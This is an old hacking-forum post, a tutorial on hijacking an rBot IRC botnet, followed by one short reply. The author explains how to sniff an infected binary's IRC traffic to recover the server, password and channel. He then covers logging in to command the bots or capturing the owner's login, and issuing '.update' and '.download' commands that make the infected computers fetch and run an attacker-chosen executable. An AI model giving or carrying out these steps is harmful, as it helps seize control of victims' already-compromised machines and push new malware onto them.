Gonzalez Posted October 3, 2009 Report Posted October 3, 2009 Author: -ande-ok.. so hoax needed a tut on how to jack a botnet so i will tell y0u gays...Lets sey we found a bot binded with call of duty 4 witch you downloaded from thepiratebay.org.....The name of the exe is setup.exeThe bot type is rBot(commandoes: http://www.angelfire.com/theforce/travon1120/RxBotCMDLIST.html)------Kk, so the first thing we need is the ip and port to the irc server....- Smart people uses a non default port.. Default port is 6667.So to find this use wpe(Winsock Packet Editor (WPE) Pro) or wireshark(Wireshark: Go deep.) and monitor setup.exe while you open it, in this case i will use wpe.You want to find the "PASS" and/or "NICK" and/or "JOIN" packet to get info about the password,a suitable nick and what channel to join. when you do this you alsow get info about ip and port...Image missing "JOIN" packet Tongue but it should be there to.... right-click and go to the link in a new tab to see bigger pic...-------------Now, try(with a proxy) connecting to the server and join the channel we found with wpe...- If the channel is totaly empty and u cant see shit then its no point going futher... wont work.- If you can see lots of bots and shit then yey!Try now(still with a proxy) to set the topic if the channel to ".login idiot".If you are unable to set the topic try writing ".login idiot" and send to the chan.If anything happens when you eiter set the topic of the channel or sending to the channel then we got a jackeble botnet(maybe).-------------If the bots listens to you right away either in topic or send then send: ".update YourPage.com | Web Design Made Easy awdawd12456yhgf" or ".download YourPage.com | Web Design Made Easy c:\someexe.exe 1" and there u go...btw: if you set the topic.. the bots might not listen to you... try writing ".login idiot" to they get flood timeout becouse the bots only listens to topic when they join...-------------If you can see lots of bots but still setting topic or sending dosent work then be at the channel until "admin" aka botnet owner uses the .login command... then wait until he leaves again and then... login and control Grin-------------If you got any questions or ideas or maybe i done something wrong then post it Quote
3voLuT1oN Posted October 26, 2009 Report Posted October 26, 2009 u better use ThreatExpert - Automated Threat Analysis in 10 min u get all the info Quote
